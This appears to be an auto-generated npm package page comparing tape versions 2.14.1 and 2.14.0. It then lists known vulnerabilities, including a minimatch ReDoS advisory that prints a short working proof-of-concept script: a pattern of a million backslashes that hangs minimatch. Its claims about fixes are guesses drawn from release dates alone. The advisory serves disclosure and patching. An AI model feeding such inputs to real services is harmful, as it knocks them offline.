Tape is a popular and lightweight tap-producing test harness for Node.js and browsers, designed for simplicity and ease of use. Comparing versions 2.14.1 and 2.14.0 reveals minimal changes from a dependency perspective, though a significant difference in release dates and potentially internal fixes. Both versions share identical dependencies, including packages like has, glob, defined, resumer, through, inherits, deep-equal, and object-inspect, forming the core functionality for test execution and assertion. Development dependencies like tap, falafel, and concat-stream also remain the same, indicating consistency in the tools used for development and testing of the tape library itself.
The primary difference lies in the release date. Version 2.14.1 was released on March 6, 2016 while version 2.14.0 was released much earlier, on August 5, 2014. This suggests that version 2.14.1 likely includes bug fixes, performance improvements, or other minor enhancements implemented over that period since the previous release. Developers should consider upgrading to the latest patch version (2.14.1) to benefit from these refinements and ensure they are using the most stable and up-to-date release. Given the MIT license and consistent dependency structure across both versions, integrating or upgrading to either version of Tape should be straightforward for developers seeking a clean and efficient testing solution. The tarball URLs in the dist object specify the exact package to download from the npm registry.
All the vulnerabilities related to the version 2.14.1 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.